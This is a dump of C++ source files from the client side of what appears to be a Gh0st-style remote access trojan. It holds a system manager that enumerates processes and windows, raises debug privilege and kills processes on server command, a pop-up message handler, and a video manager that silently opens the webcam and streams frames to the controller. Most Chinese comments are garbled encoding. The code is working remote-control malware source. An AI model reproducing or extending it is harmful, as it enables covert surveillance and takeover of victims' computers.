HANDLE hProcess = NULL;
HANDLE hSnapshot = NULL;
PROCESSENTRY32 pe32 = {0};
pe32.dwSize = sizeof(PROCESSENTRY32);
char szProcessFullPath[MAX_PATH] = {0};
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
DWORD dwOffset = 0;
DWORD dwLength = 0;
DWORD cbNeeded = 0;
HMODULE hModules = NULL; //<2F><><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>һ<EFBFBD><D2BB>ģ<EFBFBD><C4A3><EFBFBD>ľ<EFBFBD><C4BE><EFBFBD>
LPBYTE szBuffer = (LPBYTE)LocalAlloc(LPTR, 1024); //<2F><>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>һ<EFBFBD>»<EFBFBD><C2BB><EFBFBD><EFBFBD><EFBFBD>
szBuffer[0] = TOKEN_PSLIST; //ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
dwOffset = 1;
if(Process32First(hSnapshot, &pe32)) //<2F>õ<EFBFBD><C3B5><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˳<EFBFBD><CBB3><EFBFBD>ж<EFBFBD>һ<EFBFBD><D2BB>ϵͳ<CFB5><CDB3><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>
{
do
{
//<2F>򿪽<EFBFBD><F2BFAABD>̲<EFBFBD><CCB2><EFBFBD><EFBFBD>ؾ<EFBFBD><D8BE><EFBFBD>
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
FALSE, pe32.th32ProcessID); //<2F><><EFBFBD><EFBFBD>Ŀ<EFBFBD><C4BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// if ((pe32.th32ProcessID !=0) &&
// (pe32.th32ProcessID !=4))
{
//ö<>ٵ<EFBFBD>һ<EFBFBD><D2BB>ģ<EFBFBD><C4A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҳ<EFBFBD><D2B2><EFBFBD>ǵ<EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
EnumProcessModules(hProcess, &hModules, sizeof(hModules), &cbNeeded);
//<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
DWORD dwReturn = GetModuleFileNameEx(hProcess, hModules,
szProcessFullPath,
sizeof(szProcessFullPath));
if (dwReturn==0)
{
strcpy(szProcessFullPath,"");
}
//<2F><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD>ռ<EFBFBD>õĻ<C3B5><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>ǹ<EFBFBD><C7B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ķ<EFBFBD><C4B7>͵<EFBFBD><CDB5><EFBFBD><EFBFBD>ݽṹ
// <20>˽<EFBFBD><CBBD><EFBFBD>ռ<EFBFBD><D5BC><EFBFBD><EFBFBD><EFBFBD>ݴ<EFBFBD>С
dwLength = sizeof(DWORD) +
lstrlen(pe32.szExeFile) + lstrlen(szProcessFullPath) + 2;
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̫С<CCAB><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7><EFBFBD><EFBFBD><EFBFBD>
if (LocalSize(szBuffer) < (dwOffset + dwLength))
szBuffer = (LPBYTE)LocalReAlloc(szBuffer, (dwOffset + dwLength),
LMEM_ZEROINIT|LMEM_MOVEABLE);
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>memcpy<70><79><EFBFBD><EFBFBD><EFBFBD>򻺳<EFBFBD><F2BBBAB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>ݽṹ<DDBD><E1B9B9>
//<2F><><EFBFBD><EFBFBD>ID+<2B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>+0+<2B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>+0 <20><><EFBFBD><EFBFBD>
//<2F><>Ϊ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>0 <20><>β<EFBFBD><CEB2>
memcpy(szBuffer + dwOffset, &(pe32.th32ProcessID), sizeof(DWORD));
dwOffset += sizeof(DWORD);
memcpy(szBuffer + dwOffset, pe32.szExeFile, lstrlen(pe32.szExeFile) + 1);
dwOffset += lstrlen(pe32.szExeFile) + 1;
memcpy(szBuffer + dwOffset, szProcessFullPath, lstrlen(szProcessFullPath) + 1);
dwOffset += lstrlen(szProcessFullPath) + 1;
}
}
while(Process32Next(hSnapshot, &pe32)); //<2F><><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD><C3B5><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
}
DebugPrivilege(SE_DEBUG_NAME,FALSE); //<2F><>ԭ<EFBFBD><D4AD>Ȩ
CloseHandle(hSnapshot); //<2F>ͷž<CDB7><C5BE><EFBFBD>
return szBuffer;
}
CSystemManager::~CSystemManager()
{
cout<<"ϵͳ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>"<<endl;
}
BOOL CSystemManager::DebugPrivilege(const char *szName, BOOL bEnable)
{
BOOL bResult = TRUE;
HANDLE hToken;
TOKEN_PRIVILEGES TokenPrivileges;
//<2F><><EFBFBD><EFBFBD> Token <20><><EFBFBD><EFBFBD>
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken))
{
bResult = FALSE;
return bResult;
}
TokenPrivileges.PrivilegeCount = 1;
TokenPrivileges.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : 0;
LookupPrivilegeValue(NULL, szName, &TokenPrivileges.Privileges[0].Luid);
AdjustTokenPrivileges(hToken, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
if (GetLastError() != ERROR_SUCCESS)
{
bResult = FALSE;
}
CloseHandle(hToken);
return bResult;
}
VOID CSystemManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
switch(szBuffer[0])
{
case COMMAND_PSLIST:
{
SendProcessList();
break;
}
case COMMAND_KILLPROCESS:
{
KillProcess((LPBYTE)szBuffer + 1, ulLength - 1);
break;
}
case COMMAND_WSLIST:
{
SendWindowsList();
break;
}
case COMMAND_WINDOW_CLOSE:
{
HWND hWnd = *((HWND*)(szBuffer+1));
::PostMessage(hWnd,WM_CLOSE,0,0);
Sleep(100);
SendWindowsList();
break;
}
case COMMAND_WINDOW_TEST: //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
{
TestWindow(szBuffer+1);
break;
}
default:
{
break;
}
}
}
void CSystemManager::TestWindow(LPBYTE szBuffer) //<2F><><EFBFBD>ڵ<EFBFBD><DAB5><EFBFBD><EFBFBD><EFBFBD> <20><>С <20><><EFBFBD>ض<EFBFBD><D8B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFB4A6>
{
DWORD Hwnd;
DWORD dHow;
memcpy((void*)&Hwnd,szBuffer,sizeof(DWORD)); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ھ<EFBFBD><DABE><EFBFBD>
memcpy(&dHow,szBuffer+sizeof(DWORD),sizeof(DWORD)); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
ShowWindow((HWND__ *)Hwnd,dHow);
//<2F><><EFBFBD>ھ<EFBFBD><DABE><EFBFBD> <20><>ɶ(<28><> С <20><><EFBFBD><EFBFBD> <20><>ԭ)
}
VOID CSystemManager::KillProcess(LPBYTE szBuffer, UINT ulLength)
{
HANDLE hProcess = NULL;
DebugPrivilege(SE_DEBUG_NAME, TRUE); //<2F><>Ȩ
for (int i = 0; i < ulLength; i += 4)
//<2F><>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD>Ŀ<EFBFBD><C4BF>ܸ<EFBFBD><DCB8><EFBFBD>ֹ<EFBFBD><D6B9>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
{
//<2F>򿪽<EFBFBD><F2BFAABD><EFBFBD>
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, *(LPDWORD)(szBuffer + i));
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TerminateProcess(hProcess, 0);
CloseHandle(hProcess);
}
DebugPrivilege(SE_DEBUG_NAME, FALSE); //<2F><>ԭ<EFBFBD><D4AD>Ȩ
// <20><><EFBFBD><EFBFBD>Sleep<65>£<EFBFBD><C2A3><EFBFBD>ֹ<EFBFBD><D6B9><EFBFBD><EFBFBD>
Sleep(100);
}
LPBYTE CSystemManager::GetWindowsList()
{
LPBYTE szBuffer = NULL; //char* p = NULL &p
EnumWindows((WNDENUMPROC)EnumWindowsProc, (LPARAM)&szBuffer); //ע<><EFBFBD><E1BAAF>
//<2F><><EFBFBD><EFBFBD>API<50><49><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>к<EFBFBD><D0BA><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳע<CDB3><D7A2>һ<EFBFBD><D2BB> <20>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD>
szBuffer[0] = TOKEN_WSLIST;
return szBuffer;
}
BOOL CALLBACK CSystemManager::EnumWindowsProc(HWND hWnd, LPARAM lParam) //Ҫ<><D2AA><EFBFBD><EFBFBD> **
{
DWORD dwLength = 0;
DWORD dwOffset = 0;
DWORD dwProcessID = 0;
LPBYTE szBuffer = *(LPBYTE *)lParam;
char szTitle[1024];
memset(szTitle, 0, sizeof(szTitle));
//<2F>õ<EFBFBD>ϵͳ<CFB5><CDB3><EFBFBD>ݽ<EFBFBD><DDBD><EFBFBD><EFBFBD>Ĵ<EFBFBD><C4B4>ھ<EFBFBD><DABE><EFBFBD><EFBFBD>Ĵ<EFBFBD><C4B4>ڱ<EFBFBD><DAB1><EFBFBD>
GetWindowText(hWnd, szTitle, sizeof(szTitle));
//<2F><><EFBFBD><EFBFBD><EFBFBD>ж<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7>ɼ<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>
if (!IsWindowVisible(hWnd) || lstrlen(szTitle) == 0)
return true;
//ͬ<><CDAC><EFBFBD>̹<EFBFBD><CCB9><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>ķ<EFBFBD><C4B7>͵<EFBFBD><CDB5><EFBFBD><EFBFBD>ض˵<D8B6><CBB5><EFBFBD><EFBFBD>ݽṹ
if (szBuffer == NULL)
szBuffer = (LPBYTE)LocalAlloc(LPTR, 1); //<2F><>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><E4BBBA><EFBFBD><EFBFBD>
//[<5B><>Ϣ][4Notepad.exe\0]
dwLength = sizeof(DWORD) + lstrlen(szTitle) + 1;
dwOffset = LocalSize(szBuffer); //1
//<2F><><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><E3BBBA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С
szBuffer = (LPBYTE)LocalReAlloc(szBuffer, dwOffset + dwLength, LMEM_ZEROINIT|LMEM_MOVEABLE);
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>memcpy<70><79><EFBFBD>ܿ<EFBFBD><DCBF><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݽṹΪ hwnd+<2B><><EFBFBD>ڱ<EFBFBD><DAB1><EFBFBD>+0
memcpy((szBuffer+dwOffset),&hWnd,sizeof(DWORD));
memcpy(szBuffer + dwOffset + sizeof(DWORD), szTitle, lstrlen(szTitle) + 1);
*(LPBYTE *)lParam = szBuffer;
return true;
}

31
client/SystemManager.h Normal file
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// SystemManager.h: interface for the CSystemManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_SYSTEMMANAGER_H__38ABB010_F90B_4AE7_A2A3_A52808994A9B__INCLUDED_)
#define AFX_SYSTEMMANAGER_H__38ABB010_F90B_4AE7_A2A3_A52808994A9B__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "Manager.h"
#include "IOCPClient.h"
class CSystemManager : public CManager
{
public:
CSystemManager(IOCPClient* ClientObject,BOOL bHow);
virtual ~CSystemManager();
LPBYTE CSystemManager::GetProcessList();
VOID CSystemManager::SendProcessList();
BOOL CSystemManager::DebugPrivilege(const char *szName, BOOL bEnable);
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
VOID CSystemManager::KillProcess(LPBYTE szBuffer, UINT ulLength);
LPBYTE CSystemManager::GetWindowsList();
static BOOL CALLBACK CSystemManager::EnumWindowsProc(HWND hWnd, LPARAM lParam);
void CSystemManager::SendWindowsList();
void CSystemManager::TestWindow(LPBYTE szBuffer);
};
#endif // !defined(AFX_SYSTEMMANAGER_H__38ABB010_F90B_4AE7_A2A3_A52808994A9B__INCLUDED_)

152
client/TalkManager.cpp Normal file
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// TalkManager.cpp: implementation of the CTalkManager class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "TalkManager.h"
#include "Common.h"
#include "resource.h"
#include <IOSTREAM>
#include <mmsystem.h>
#pragma comment(lib, "WINMM.LIB")
using namespace std;
#define ID_TIMER_POP_WINDOW 1
#define ID_TIMER_DELAY_DISPLAY 2
#define ID_TIMER_CLOSE_WINDOW 3
#define WIN_WIDTH 120
#define WIN_HEIGHT 120
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
char g_Buffer[0x1000] = {0};
UINT_PTR g_Event = 0;
IOCPClient* g_IOCPClientObject = NULL;
extern HINSTANCE g_hInstance;
CTalkManager::CTalkManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
{
BYTE bToken = TOKEN_TALK_START; //<2F><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h
m_ClientObject->OnServerSending((char*)&bToken, 1);
g_IOCPClientObject = ClientObject;
WaitForDialogOpen();
}
CTalkManager::~CTalkManager()
{
cout<<"Talk <20><><EFBFBD><EFBFBD>"<<endl;
}
VOID CTalkManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
switch(szBuffer[0])
{
case COMMAND_NEXT:
{
NotifyDialogIsOpen();
break;
}
default:
{
memcpy(g_Buffer, szBuffer, ulLength);
//<2F><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>DLG
DialogBox(g_hInstance,MAKEINTRESOURCE(IDD_DIALOG),
NULL,DialogProc); //SDK C MFC C++
break;
}
}
}
int CALLBACK CTalkManager::DialogProc(HWND hDlg, unsigned int uMsg,
WPARAM wParam, LPARAM lParam)
{
switch(uMsg)
{
case WM_TIMER:
{
OnDlgTimer(hDlg);
break;
}
case WM_INITDIALOG:
{
OnInitDialog(hDlg);
break;
}
}
return 0;
}
VOID CTalkManager::OnInitDialog(HWND hDlg)
{
MoveWindow(hDlg, 0, 0, 0, 0, TRUE);
SetDlgItemText(hDlg,IDC_EDIT_MESSAGE,g_Buffer);
memset(g_Buffer,0,sizeof(g_Buffer));
g_Event = ID_TIMER_POP_WINDOW;
SetTimer(hDlg, g_Event, 1, NULL); //ʱ<>ӻص<D3BB>
PlaySound(MAKEINTRESOURCE(IDR_WAVE),
g_hInstance,SND_ASYNC|SND_RESOURCE|SND_NODEFAULT);
}
VOID CTalkManager::OnDlgTimer(HWND hDlg) //ʱ<>ӻص<D3BB>
{
RECT Rect;
static int Height=0;
SystemParametersInfo(SPI_GETWORKAREA, 0, &Rect,0);
int y=Rect.bottom-Rect.top;;
int x=Rect.right-Rect.left;
x=x-WIN_WIDTH;
switch(g_Event)
{
case ID_TIMER_CLOSE_WINDOW:
{
if(Height>=0)
{
Height-=5;
MoveWindow(hDlg, x,y-Height, WIN_WIDTH, Height,TRUE);
}
else
{
KillTimer(hDlg,ID_TIMER_CLOSE_WINDOW);
BYTE bToken = TOKEN_TALKCMPLT; // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h
g_IOCPClientObject->OnServerSending((char*)&bToken, 1); // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7>͵<EFBFBD>ָ<EFBFBD><D6B8>
EndDialog(hDlg,0);
}
break;
}
case ID_TIMER_DELAY_DISPLAY:
{
KillTimer(hDlg,ID_TIMER_DELAY_DISPLAY);
g_Event = ID_TIMER_CLOSE_WINDOW;
SetTimer(hDlg,g_Event, 5, NULL);
break;
}
case ID_TIMER_POP_WINDOW:
{
if(Height<=WIN_HEIGHT)
{
Height+=3;
MoveWindow(hDlg ,x, y-Height, WIN_WIDTH, Height,TRUE);
}
else
{
KillTimer(hDlg,ID_TIMER_POP_WINDOW);
g_Event = ID_TIMER_DELAY_DISPLAY;
SetTimer(hDlg,g_Event, 4000, NULL);
}
break;
}
}
}

28
client/TalkManager.h Normal file
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// TalkManager.h: interface for the CTalkManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_TALKMANAGER_H__BF276DAF_7D22_4C3C_BE95_709E29D5614D__INCLUDED_)
#define AFX_TALKMANAGER_H__BF276DAF_7D22_4C3C_BE95_709E29D5614D__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "Manager.h"
class CTalkManager : public CManager
{
public:
CTalkManager(IOCPClient* ClientObject, int n);
virtual ~CTalkManager();
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
static int CALLBACK DialogProc(HWND hDlg, unsigned int uMsg,
WPARAM wParam, LPARAM lParam);
static VOID OnInitDialog(HWND hDlg);
static VOID OnDlgTimer(HWND hDlg);
};
#endif // !defined(AFX_TALKMANAGER_H__BF276DAF_7D22_4C3C_BE95_709E29D5614D__INCLUDED_)

BIN
client/TestRun.rc Normal file

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78
client/TestRun.vcxproj Normal file
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<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}</ProjectGuid>
<RootNamespace>TestRun</RootNamespace>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v110</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v110</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup />
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="test.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="resource1.h" />
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="TestRun.rc" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

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@@ -0,0 +1,32 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="源文件">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="头文件">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
<Filter Include="资源文件">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="test.cpp">
<Filter>源文件</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="resource1.h">
<Filter>头文件</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="TestRun.rc">
<Filter>资源文件</Filter>
</ResourceCompile>
</ItemGroup>
</Project>

135
client/VideoCodec.h Normal file
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#if !defined(AFX_VIDEOCODEC_H_INCLUDED)
#define AFX_VIDEOCODEC_H_INCLUDED
#include <VFW.H>
class CVideoCodec
{
COMPVARS m_cv;
HIC m_hIC;
BITMAPINFO* m_lpbmiInput;
BITMAPINFO m_bmiOutput;
public:
bool InitCompressor(BITMAPINFO* lpbmi, DWORD fccHandler)
{
if (lpbmi == NULL)
return false;
m_lpbmiInput = lpbmi;
ZeroMemory(&m_cv, sizeof(m_cv));
m_cv.cbSize = sizeof(m_cv);
m_cv.dwFlags = ICMF_COMPVARS_VALID;
m_cv.hic = m_hIC;
m_cv.fccType = ICTYPE_VIDEO;
m_cv.fccHandler = fccHandler;
m_cv.lpbiOut = NULL;
m_cv.lKey = 10;
m_cv.lDataRate = 6;
m_cv.lQ = ICQUALITY_HIGH;
m_hIC = ICOpen(ICTYPE_VIDEO, m_cv.fccHandler, ICMODE_COMPRESS | ICMODE_DECOMPRESS);
if (m_hIC == NULL)
{
return false;
}
ICCompressGetFormat(m_hIC, m_lpbmiInput, &m_bmiOutput);
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>֤
ICSendMessage(m_hIC, 0x60c9, 0xf7329ace, 0xacdeaea2);
m_cv.hic = m_hIC;
m_cv.dwFlags = ICMF_COMPVARS_VALID;
if (!ICSeqCompressFrameStart(&m_cv, m_lpbmiInput))
{
return false;
}
ICDecompressBegin(m_hIC, &m_bmiOutput , m_lpbmiInput);
return true;
}
bool DecodeVideoData(BYTE *pin, int len, BYTE* pout, int *lenr,DWORD flag)
{
if(!pin || !pout ||!m_hIC)
return false;
if (ICDecompress(m_hIC, flag, &m_bmiOutput.bmiHeader, pin, &m_lpbmiInput->bmiHeader, pout) != ICERR_OK)
return false;
if (lenr) *lenr = m_lpbmiInput->bmiHeader.biSizeImage;
return true;
}
bool EncodeVideoData(BYTE* pin, int len, BYTE* pout, int* lenr, bool* pKey)
{
BYTE *p;
long s = 1;
BOOL k = true;
if ( !pin || !pout || len != (int)m_lpbmiInput->bmiHeader.biSizeImage || !m_hIC)
return false;
p = (BYTE*)ICSeqCompressFrame(&m_cv, 0, pin, &k, &s);
if (!p) return false;
if (lenr) *lenr = s;
if (pKey) *pKey = k;
CopyMemory(pout, p, s);
return true;
}
CVideoCodec()
{
m_lpbmiInput = NULL;
}
virtual ~CVideoCodec()
{
// No init yet or init error
if (m_hIC == NULL)
return;
ICDecompressEnd(m_hIC);
ICSeqCompressFrameEnd(&m_cv);
ICCompressorFree(&m_cv);
ICClose(m_hIC);
}
int MyEnumCodecs(int *fccHandler, char *strName)
{
static int i = 0;
int nRet = 1;
HIC hIC;
ICINFO icInfo;
if (fccHandler == NULL)
return 0;
if(!ICInfo(ICTYPE_VIDEO, i, &icInfo))
{
i = 0;
return 0;
}
hIC = ICOpen(icInfo.fccType, icInfo.fccHandler, ICMODE_QUERY);
if (hIC)
{
ICGetInfo(hIC, &icInfo, sizeof(icInfo));
*fccHandler = icInfo.fccHandler;
//<2F><><EFBFBD>ڵõ<DAB5><C3B5><EFBFBD>szDescription<6F><6E>UNICODE˫<45>ֽ<EFBFBD><D6BD>ִ<EFBFBD><D6B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫת<D2AA><D7AA>ΪASCII<49><49>
if (strName != NULL)
wcstombs(strName, icInfo.szDescription, 256);
}
else nRet = -1;
ICClose(hIC);
i++;
return nRet;
}
};
#endif // !defined(AFX_VIDEOCODEC_H_INCLUDED)

180
client/VideoManager.cpp Normal file
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// VideoManager.cpp: implementation of the CVideoManager class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "VideoManager.h"
#include "Common.h"
#include <iostream>
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CVideoManager::CVideoManager(IOCPClient* ClientObject, int n) : CManager(ClientObject)
{
m_bIsWorking = TRUE;
m_bIsCompress = false;
m_pVideoCodec = NULL;
m_fccHandler = 1129730893;
m_CapVideo.Open(0,0); // <20><><EFBFBD><EFBFBD>
m_hWorkThread = CreateThread(NULL, 0,
(LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL);
}
DWORD CVideoManager::WorkThread(LPVOID lParam)
{
CVideoManager *This = (CVideoManager *)lParam;
static DWORD dwLastScreen = GetTickCount();
if (This->Initialize()) //ת<><D7AA>Initialize
{
This->m_bIsCompress=true; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><C3BF><EFBFBD>ѹ<EFBFBD><D1B9>
}
This->SendBitMapInfor(); //<2F><><EFBFBD><EFBFBD>bmpλͼ<CEBB>
// <20>ȿ<EFBFBD><C8BF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
This->WaitForDialogOpen();
while (This->m_bIsWorking)
{
// <20><><EFBFBD><EFBFBD><EFBFBD>ٶ<EFBFBD>
if ((GetTickCount() - dwLastScreen) < 150)
Sleep(100);
dwLastScreen = GetTickCount();
This->SendNextScreen(); //<2F><><EFBFBD><EFBFBD>û<EFBFBD><C3BB>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD>صĴ<D8B5><C4B4><EFBFBD><EFBFBD>ˣ<EFBFBD><CBA3><EFBFBD><EFBFBD>ǵ<EFBFBD>sendNextScreen <20><><EFBFBD><EFBFBD>
}
This->Destroy();
std::cout<<"CVideoManager WorkThread end\n";
return 0;
}
CVideoManager::~CVideoManager()
{
